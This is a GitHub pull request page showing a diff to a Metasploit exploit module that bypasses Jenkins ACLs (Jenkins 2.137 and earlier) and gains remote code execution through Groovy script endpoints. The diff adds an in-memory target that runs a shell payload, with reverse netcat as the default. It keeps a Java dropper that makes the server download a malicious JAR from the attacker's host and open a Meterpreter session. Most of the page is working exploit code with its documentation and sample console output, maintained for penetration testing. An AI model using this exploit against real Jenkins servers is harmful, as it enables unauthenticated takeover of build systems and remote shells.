Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add newer RCE vector to Jenkins ACL bypass exploit #11864

Merged
merged 5 commits into from May 23, 2019
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
Expand Up @@ -4,6 +4,14 @@ This module exploits a vulnerability in Jenkins dynamic routing to
bypass the `Overall/Read` ACL and leverage Groovy metaprogramming to
download and execute a malicious JAR file.

When the `Java Dropper` target is selected, the original entry point
based on `classLoader.parseClass` is used, which requires the use of
Groovy metaprogramming to achieve RCE.

When the `Unix In-Memory` target is selected, a newer, higher-level,
and more universal entry point based on `GroovyShell.parse` is used.
This permits the use of in-memory arbitrary command execution.

The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work
on later versions of Jenkins.

Expand All @@ -21,7 +29,8 @@ Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61.
```
Id Name
-- ----
0 Jenkins <= 2.137 (Pipeline: Groovy Plugin <= 2.61)
0 Unix In-Memory
1 Java Dropper
```

## Options
Expand All @@ -39,6 +48,8 @@ Set this to the Jenkins base path. The default is `/`.
Set this to the port on which to serve the payload. Change it from 8080
to something like 8081 if you are testing Jenkins locally on port 8080.

This option is valid only for the `Java Dropper` target.

**ForceExploit**

Set this to `true` to override the `check` result during exploitation.
Expand All @@ -54,6 +65,7 @@ msf5 exploit(multi/http/jenkins_metaprogramming) > run
[+] ACL bypass successful
[*] Using URL: http://0.0.0.0:8081/
[*] Local IP: http://192.168.1.2:8081/
[*] Configuring Java Dropper target
[*] Sending Jenkins and Groovy go-go-gadgets
[*] HEAD /CarisaChristiansen/Rank/3.3.5/Rank-3.3.5.pom requested
[-] Sending 404
Expand Down
143 changes: 100 additions & 43 deletions modules/exploits/multi/http/jenkins_metaprogramming.rb
Expand Up @@ -13,49 +13,74 @@ class MetasploitModule < Msf::Exploit::Remote

def initialize(info = {})
super(update_info(info,
'Name' => 'Jenkins ACL Bypass and Metaprogramming RCE',
'Description' => %q{
'Name' => 'Jenkins ACL Bypass and Metaprogramming RCE',
'Description' => %q{
This module exploits a vulnerability in Jenkins dynamic routing to
bypass the Overall/Read ACL and leverage Groovy metaprogramming to
download and execute a malicious JAR file.

When the "Java Dropper" target is selected, the original entry point
based on classLoader.parseClass is used, which requires the use of
Groovy metaprogramming to achieve RCE.

When the "Unix In-Memory" target is selected, a newer, higher-level,
and more universal entry point based on GroovyShell.parse is used.
This permits the use of in-memory arbitrary command execution.

The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work
on later versions of Jenkins.

Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61.
},
'Author' => [
'Orange Tsai', # Discovery and PoC
'wvu' # Metasploit module
'Author' => [
'Orange Tsai', # (@orange_8361) Discovery and PoC
'Mikhail Egorov', # (@0ang3el) Discovery and PoC
'George Noseevich', # (@webpentest) Discovery and PoC
'wvu' # Metasploit module
],
'References' => [
'References' => [
['CVE', '2018-1000861'], # Orange Tsai
['CVE', '2019-1003000'], # Script Security
['CVE', '2019-1003001'], # Pipeline: Groovy
['CVE', '2019-1003002'], # Pipeline: Declarative
['CVE', '2019-1003005'], # Mikhail Egorov
['CVE', '2019-1003029'], # George Noseevich
['EDB', '46427'],
['URL', 'https://jenkins.io/security/advisory/2019-01-08/'],
['URL', 'https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html'],
['URL', 'https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html'],
['URL', 'https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc']
['URL', 'https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc'],
['URL', 'https://twitter.com/orange_8361/status/1126829648552312832'],
['URL', 'https://github.com/orangetw/awesome-jenkins-rce-2019']
],
'DisclosureDate' => '2019-01-08', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Privileged' => false,
'Targets' => [
['Jenkins <= 2.137 (Pipeline: Groovy Plugin <= 2.61)',
'Version' => Gem::Version.new('2.137')
'DisclosureDate' => '2019-01-08', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => ['unix', 'java'],
'Arch' => [ARCH_CMD, ARCH_JAVA],
'Privileged' => false,
'Targets' => [
['Unix In-Memory',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => Gem::Version.new('2.137'),
'Type' => :unix_memory,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'}
],
['Java Dropper',
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Version' => Gem::Version.new('2.137'),
'Type' => :java_dropper,
'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_https'}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_https'},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
},
'Stance' => Stance::Aggressive # Be aggressive, b-e aggressive!
'Stance' => Stance::Aggressive
))

register_options([
Expand Down Expand Up @@ -114,18 +139,27 @@ def exploit
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end

# NOTE: Ivy appears to be using HTTP unconditionally, so we can't use HTTPS
# HACK: Both HttpClient and HttpServer use datastore['SSL']
ssl = datastore['SSL']
datastore['SSL'] = false
start_service('Path' => '/')
datastore['SSL'] = ssl
print_status("Configuring #{target.name} target")

vars_get = {'value' => go_go_gadget2}

case target['Type']
when :unix_memory
vars_get = {'sandbox' => true}.merge(vars_get)
when :java_dropper
# NOTE: Ivy is using HTTP unconditionally, so we can't use HTTPS
# HACK: Both HttpClient and HttpServer use datastore['SSL']
ssl = datastore['SSL']
datastore['SSL'] = false
start_service('Path' => '/')
datastore['SSL'] = ssl
end

print_status('Sending Jenkins and Groovy go-go-gadgets')
send_request_cgi(
'method' => 'GET',
'uri' => go_go_gadget1,
'vars_get' => {'value' => go_go_gadget2}
'vars_get' => vars_get
)
end

Expand All @@ -141,15 +175,23 @@ def exploit
=end
def go_go_gadget1(custom_uri = nil)
# NOTE: See CVE-2018-1000408 for why we don't want to randomize the username
acl_bypass = normalize_uri(target_uri.path, '/securityRealm/user/admin')
acl_bypass = normalize_uri(target_uri.path, 'securityRealm/user/admin')

return normalize_uri(acl_bypass, custom_uri) if custom_uri

normalize_uri(
acl_bypass,
'/descriptorByName',
'/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile'
)
rce_base = normalize_uri(acl_bypass, 'descriptorByName')

rce_uri =
case target['Type']
when :unix_memory
'org.jenkinsci.plugins.' \
'scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript'
when :java_dropper
'org.jenkinsci.plugins.' \
'workflow.cps.CpsFlowDefinition/checkScriptCompile'
end

normalize_uri(rce_base, rce_uri)
end

=begin
Expand All @@ -161,14 +203,29 @@ def go_go_gadget1(custom_uri = nil)
import Orange;
=end
def go_go_gadget2
(
<<~EOF
@GrabConfig(disableChecksums=true)
@GrabResolver('http://#{srvhost_addr}:#{srvport}/')
@Grab('#{vendor}:#{app}:#{version}')
import #{app}
EOF
).strip
case target['Type']
when :unix_memory
payload_escaped = payload.encoded.gsub("'", "\\'")

(
<<~EOF
class #{app} {
#{app}() {
['sh', '-c', '#{payload_escaped}'].execute()
}
}
EOF
).strip
when :java_dropper
(
<<~EOF
@GrabConfig(disableChecksums=true)
@GrabResolver('http://#{srvhost_addr}:#{srvport}')
@Grab('#{vendor}:#{app}:#{version}')
import #{app}
EOF
).strip
end
end

#
Expand Down